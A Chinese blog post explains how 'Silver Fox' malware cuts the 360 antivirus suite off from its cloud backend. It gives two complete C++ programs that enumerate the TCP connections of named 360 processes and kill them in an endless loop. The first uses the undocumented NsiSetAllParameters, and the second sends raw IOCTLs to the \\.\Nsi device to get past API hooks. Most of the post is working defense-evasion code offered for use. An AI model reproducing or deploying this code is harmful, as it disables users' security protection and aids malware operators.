在当前的安全防护体系中,越来越多的安全产品(如数字等)采用“云依赖”模式 —— 核心规则、主动防护、样本查杀全部由云端驱动。根据最新的银狐样本发现小黑们针对数字做了定向断网,一旦失去网络连接,它的“战斗力”将迅速下降。
我们直奔主题 GetTcpTable(2) 和 SetTcpEntry
GetTcpTable2函数 https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-gettcptable2
GetTcpTable2 用于检索系统当前的 TCP 连接信息(IPv4 和 IPv6),包括连接的本地地址、远程地址、状态等。
原型如下:
IPHLPAPI_DLL_LINKAGE ULONG GetTcpTable2(
[out] PMIB_TCPTABLE2 TcpTable,
[in, out] PULONG SizePointer,
[in] BOOL Order
);
参数说明:
TcpTable
: 指向 MIB_TCPTABLE2 结构体的指针,保存返回的 TCP 表。SizePointer
: 输入/输出参数,表示缓冲区大小(以字节为单位)。如果缓冲区不够,函数会返回 ERROR_INSUFFICIENT_BUFFER 并通过该参数返回所需大小。Order
: 是否按照连接的本地地址升序排列。
SetTcpEntry函数 https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-settcpentry
SetTcpEntry 用于修改一个现有的 TCP 连接的状态,比如强制关闭连接(改为 DELETE_TCB 状态)。
原型如下:
IPHLPAPI_DLL_LINKAGE DWORD SetTcpEntry(
[in] PMIB_TCPROW pTcpRow
);
参数说明:
pTcpRow:
指向 MIB_TCPROW 的指针,用于指定要更改的 TCP 条目。.
通过这两个Api的描述我们就不难猜出可以通过获取所有的TCP连接列表,然后筛选特定进程的连接强行关闭,这样就可以 精确地断开某个特定程序所建立的所有网络连接,而不影响其他程序。
实现如下逻辑:
获取某进程的所有 TCP 连接 → 找出其 PID → 遍历连接 → 强制关闭连接。
那么我们思考一下如果 SetTcpEntry 被安全产品 Hook 掉(比如通过 API 拦截、Inline Hook),那这条路就走不通了,怎么办 ?我们不妨去看一眼底层的实现重点是看SetTcpEntry
通过反汇编 iphlpapi.dll 中的 SetTcpEntry,可以发现它的底层并不是直接修改 TCP 表,而是依赖了NsiSetAllParameters
这是一个非公开(Undocumented)的 Windows 内部函数,属于 NSI(Network Store Interface)服务的 API 范畴,主要用于设置网络堆栈中的参数。
推断的函数原型如下:
typedef NTSTATUS (NTAPI* NsiSetAllParameters_t)(
HANDLE NsiHandle,
DWORD ObjectIndex,
DWORD ObjectType,
PVOID InputBuffer,
DWORD InputBufferLength,
PVOID OutputBuffer,
DWORD OutputBufferLength
);
也就是说我们可以手动实现一个 SetTcpEntry 避免使用 SetTcpEntry
我们需要关注一下他的这些参数,比如 NPI_MS_TCP_MODULEID
这是一个 GUID结构,用来标识TCP 协议模块告诉 NsiSetAllParameters 要对哪一类协议数据执行操作。(猜的)
还原就是
BYTE NPI_MS_TCP_MODULEID[] = { 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11, 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC };
正当我准备苦逼的手搓时发现已经有前辈走在前面,再仔细一看,Emmmm以前看过只是失去了记忆。
实现如下:
#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <iostream>
#include <string>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")
// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[] = {
0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};
// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
WORD localAddrFamily;
WORD localPort;
DWORD localAddr;
BYTE reserved1[20];
WORD remoteAddrFamily;
WORD remotePort;
DWORD remoteAddr;
BYTE reserved2[20];
};
// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow) {
typedef DWORD(WINAPI* NsiSetAllParameters_t)(
DWORD, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPVOID, DWORD
);
// Load NSI module and resolve function
HMODULE hNsi = LoadLibraryA("nsi.dll");
if (!hNsi)
return 1;
NsiSetAllParameters_t pNsiSetAllParameters =
(NsiSetAllParameters_t)GetProcAddress(hNsi, "NsiSetAllParameters");
if (!pNsiSetAllParameters)
return 1;
// Prepare input data for socket termination
TcpKillParamsIPv4 params = { 0 };
params.localAddrFamily = AF_INET;
params.localPort = (WORD)pTcpRow->dwLocalPort;
params.localAddr = pTcpRow->dwLocalAddr;
params.remoteAddrFamily = AF_INET;
params.remotePort = (WORD)pTcpRow->dwRemotePort;
params.remoteAddr = pTcpRow->dwRemoteAddr;
// Issue command to kill the TCP connection
DWORD result = pNsiSetAllParameters(
1, // Unknown / static
2, // Action code
(LPVOID)NPI_MS_TCP_MODULEID, // TCP module identifier
16, // IO code (guessed)
¶ms, sizeof(params), // Input buffer
nullptr, 0 // Output buffer (unused)
);
return result;
}
std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName) {
std::vector<DWORD> pids;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
wprintf(L"[!] CreateToolhelp32Snapshot failed.\\n");
return pids;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
if (!Process32FirstW(snapshot, &pe)) {
CloseHandle(snapshot);
wprintf(L"[!] Process32FirstW failed.\\n");
return pids;
}
do {
if (processName == pe.szExeFile) {
pids.push_back(pe.th32ProcessID);
wprintf(L"[+] Found process: %s (PID: %lu)\\n", pe.szExeFile, pe.th32ProcessID);
}
} while (Process32NextW(snapshot, &pe));
CloseHandle(snapshot);
return pids;
}
void CloseTcpConnectionsByPid(DWORD pid) {
DWORD size = 0;
PMIB_TCPTABLE2 tcpTable = nullptr;
if (GetTcpTable2(nullptr, &size, TRUE) != ERROR_INSUFFICIENT_BUFFER) {
wprintf(L"[!] Failed to query TCP table size.\\n");
return;
}
tcpTable = (PMIB_TCPTABLE2)malloc(size);
if (!tcpTable) {
wprintf(L"[!] Memory allocation failed.\\n");
return;
}
if (GetTcpTable2(tcpTable, &size, TRUE) != NO_ERROR) {
free(tcpTable);
wprintf(L"[!] Failed to get TCP table.\\n");
return;
}
int closedCount = 0;
for (DWORD i = 0; i < tcpTable->dwNumEntries; ++i) {
MIB_TCPROW2& row = tcpTable->table[i];
if (row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB) {
MIB_TCPROW2 rowToSet = row;
rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;
DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
if (result == NO_ERROR) {
closedCount++;
IN_ADDR localAddr = { row.dwLocalAddr };
IN_ADDR remoteAddr = { row.dwRemoteAddr };
wprintf(L" [-] Closed TCP connection: %S:%d -> %S:%d\\n",
inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
}
else {
wprintf(L" [!] Failed to close connection. Error code: %lu\\n", result);
}
}
}
if (closedCount > 0) {
wprintf(L"[=] Closed %d connections for PID %lu\\n", closedCount, pid);
}
free(tcpTable);
}
int wmain(int argc, wchar_t* argv[]) {
std::vector<std::wstring> targetProcs = { L"360Tray.exe", L"360Safe.exe", L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};
wprintf(L"[*] Starting connection monitor...\\n");
while (true) {
for (const auto& procName : targetProcs) {
std::vector<DWORD> pids = GetPidsByProcessName(procName);
for (DWORD pid : pids) {
CloseTcpConnectionsByPid(pid);
}
}
}
return 0;
}
这样我们进阶实现了略底层的小玩具,依旧可以保持阻断网络。
前面我们调用的是 nsi.dll 中导出的 NsiSetAllParameters。但其实这个函数的本质就是:
构造一个结构体 → 调用 NtDeviceIoControlFile → 与 \\.\Nsi 驱动通信 → 让内核修改 TCP 状态
我们现在要做的就是: 跳过 nsi.dll,完全不依赖其封装,自己来实现这套流程。
NsiSetAllParameters 实际上传的是一个 0x48 字节的结构体,组成如下(我瞎写的):
struct NSI_SET_PARAMETERS_EX {
PVOID reserved0; // 0x00
PVOID reserved1; // 0x08
PVOID pModuleId; // 0x10 - 指向 TCP 模块 ID(GUID结构或BYTE数组)
DWORD dwIoCode; // 0x18 - 固定 16
DWORD dwUnused1; // 0x1C
DWORD a1; // 0x20
DWORD a2; // 0x24
PVOID pInputBuffer; // 0x28
DWORD cbInputBuffer; // 0x30
DWORD dwUnused2; // 0x34
PVOID pMetricBuffer; // 0x38
DWORD cbMetricBuffer;// 0x40
DWORD dwUnused3; // 0x44
};
我们计划的流程是:
构造 NSI_SET_PARAMETERS_EX →
调用 NtDeviceIoControlFile →
操作 \\Device\\Nsi →
执行协议堆栈层断网
隐约间我们可以明白:
Windows 网络栈的 底层通信机制是开放的(设备接口、协议模块)
只要掌握结构和调用方式,就能控制网络连接的生死
很好这里省略我的悲伤过程,直接上结果:
#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <iostream>
#include <string>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")
// ---------------------------------------------
// Dynamic NT Native Function Pointers
// ---------------------------------------------
typedef NTSTATUS(WINAPI* NtDeviceIoControlFile_t)(
HANDLE, HANDLE, PVOID, PVOID,
PVOID, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(WINAPI* NtWaitForSingleObject_t)(
HANDLE, BOOLEAN, PLARGE_INTEGER);
typedef ULONG(WINAPI* RtlNtStatusToDosError_t)(NTSTATUS);
// Global function pointers
NtDeviceIoControlFile_t pNtDeviceIoControlFile = nullptr;
NtWaitForSingleObject_t pNtWaitForSingleObject = nullptr;
RtlNtStatusToDosError_t pRtlNtStatusToDosError = nullptr;
//IO_STATUS_BLOCK
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _NSI_SET_PARAMETERS_EX {
PVOID Reserved0; // 0x00
PVOID Reserved1; // 0x08
PVOID ModuleId; // 0x10
DWORD IoCode; // 0x18
DWORD Unused1; // 0x1C
DWORD Param1; // 0x20
DWORD Param2; // 0x24
PVOID InputBuffer; // 0x28
DWORD InputBufferSize; // 0x30
DWORD Unused2; // 0x34
PVOID MetricBuffer; // 0x38
DWORD MetricBufferSize; // 0x40
DWORD Unused3; // 0x44
} NSI_SET_PARAMETERS_EX;
bool LoadNtFunctions() {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
pNtDeviceIoControlFile = (NtDeviceIoControlFile_t)GetProcAddress(ntdll, "NtDeviceIoControlFile");
pNtWaitForSingleObject = (NtWaitForSingleObject_t)GetProcAddress(ntdll, "NtWaitForSingleObject");
pRtlNtStatusToDosError = (RtlNtStatusToDosError_t)GetProcAddress(ntdll, "RtlNtStatusToDosError");
return pNtDeviceIoControlFile && pNtWaitForSingleObject && pRtlNtStatusToDosError;
}
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
ULONG NsiIoctl(
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
) {
static HANDLE hDevice = INVALID_HANDLE_VALUE;
if (hDevice == INVALID_HANDLE_VALUE) {
HANDLE h = CreateFileW(L"\\\\\\\\.\\\\Nsi", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (h == INVALID_HANDLE_VALUE)
return GetLastError();
if (InterlockedCompareExchangePointer(&hDevice, h, INVALID_HANDLE_VALUE) != INVALID_HANDLE_VALUE)
CloseHandle(h);
}
if (lpOverlapped) {
if (!DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize,
lpOutBuffer, *lpBytesReturned, lpBytesReturned, lpOverlapped)) {
return GetLastError();
}
return 0;
}
HANDLE hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
if (!hEvent) return GetLastError();
IO_STATUS_BLOCK ioStatus = { 0 };
NTSTATUS status = pNtDeviceIoControlFile(
hDevice,
hEvent,
nullptr, nullptr,
&ioStatus,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
*lpBytesReturned
);
if (status == STATUS_PENDING) {
status = pNtWaitForSingleObject(hEvent, FALSE, nullptr);
if (NT_SUCCESS(status))
status = ioStatus.Status;
}
CloseHandle(hEvent);
if (!NT_SUCCESS(status))
return pRtlNtStatusToDosError(status);
*lpBytesReturned = (DWORD)ioStatus.Information;
return 0;
}
ULONG MyNsiSetAllParameters(
DWORD a1,
DWORD a2,
PVOID pModuleId,
DWORD dwIoCode,
PVOID pInputBuffer,
DWORD cbInputBuffer,
PVOID pMetricBuffer,
DWORD cbMetricBuffer
) {
NSI_SET_PARAMETERS_EX params = { 0 };
DWORD cbReturned = sizeof(params);
params.ModuleId = pModuleId;
params.IoCode = dwIoCode;
params.Param1 = a1;
params.Param2 = a2;
params.InputBuffer = pInputBuffer;
params.InputBufferSize = cbInputBuffer;
params.MetricBuffer = pMetricBuffer;
params.MetricBufferSize = cbMetricBuffer;
return NsiIoctl(
0x120013, // IOCTL code
¶ms,
sizeof(params),
¶ms,
&cbReturned,
nullptr
);
}
// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[] = {
0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};
// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
WORD localAddrFamily;
WORD localPort;
DWORD localAddr;
BYTE reserved1[20];
WORD remoteAddrFamily;
WORD remotePort;
DWORD remoteAddr;
BYTE reserved2[20];
};
// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow) {
// Prepare input data for socket termination
TcpKillParamsIPv4 params = { 0 };
params.localAddrFamily = AF_INET;
params.localPort = (WORD)pTcpRow->dwLocalPort;
params.localAddr = pTcpRow->dwLocalAddr;
params.remoteAddrFamily = AF_INET;
params.remotePort = (WORD)pTcpRow->dwRemotePort;
params.remoteAddr = pTcpRow->dwRemoteAddr;
// Issue command to kill the TCP connection
DWORD result = MyNsiSetAllParameters(
1, // Unknown / static
2, // Action code
(LPVOID)NPI_MS_TCP_MODULEID, // TCP module identifier
16, // IO code (guessed)
¶ms, sizeof(params), // Input buffer
nullptr, 0 // Output buffer (unused)
);
return result;
}
std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName) {
std::vector<DWORD> pids;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
wprintf(L"[!] CreateToolhelp32Snapshot failed.\\n");
return pids;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
if (!Process32FirstW(snapshot, &pe)) {
CloseHandle(snapshot);
wprintf(L"[!] Process32FirstW failed.\\n");
return pids;
}
do {
if (processName == pe.szExeFile) {
pids.push_back(pe.th32ProcessID);
wprintf(L"[+] Found process: %s (PID: %lu)\\n", pe.szExeFile, pe.th32ProcessID);
}
} while (Process32NextW(snapshot, &pe));
CloseHandle(snapshot);
return pids;
}
void CloseTcpConnectionsByPid(DWORD pid) {
DWORD size = 0;
PMIB_TCPTABLE2 tcpTable = nullptr;
if (GetTcpTable2(nullptr, &size, TRUE) != ERROR_INSUFFICIENT_BUFFER) {
wprintf(L"[!] Failed to query TCP table size.\\n");
return;
}
tcpTable = (PMIB_TCPTABLE2)malloc(size);
if (!tcpTable) {
wprintf(L"[!] Memory allocation failed.\\n");
return;
}
if (GetTcpTable2(tcpTable, &size, TRUE) != NO_ERROR) {
free(tcpTable);
wprintf(L"[!] Failed to get TCP table.\\n");
return;
}
int closedCount = 0;
for (DWORD i = 0; i < tcpTable->dwNumEntries; ++i) {
MIB_TCPROW2& row = tcpTable->table[i];
if (row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB) {
MIB_TCPROW2 rowToSet = row;
rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;
DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
if (result == NO_ERROR) {
closedCount++;
IN_ADDR localAddr = { row.dwLocalAddr };
IN_ADDR remoteAddr = { row.dwRemoteAddr };
wprintf(L" [-] Closed TCP connection: %S:%d -> %S:%d\\n",
inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
}
else {
wprintf(L" [!] Failed to close connection. Error code: %lu\\n", result);
}
}
}
if (closedCount > 0) {
wprintf(L"[=] Closed %d connections for PID %lu\\n", closedCount, pid);
}
free(tcpTable);
}
int wmain(int argc, wchar_t* argv[]) {
LoadNtFunctions();
std::vector<std::wstring> targetProcs = { L"360Tray.exe", L"360Safe.exe", L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};
wprintf(L"[*] Starting connection monitor...\\n");
while (true) {
for (const auto& procName : targetProcs) {
std::vector<DWORD> pids = GetPidsByProcessName(procName);
for (DWORD pid : pids) {
CloseTcpConnectionsByPid(pid);
}
}
}
return 0;
}
现在我们就拥有了一个最底层的 SetTcpEntry ,规避的能力也大大的提升。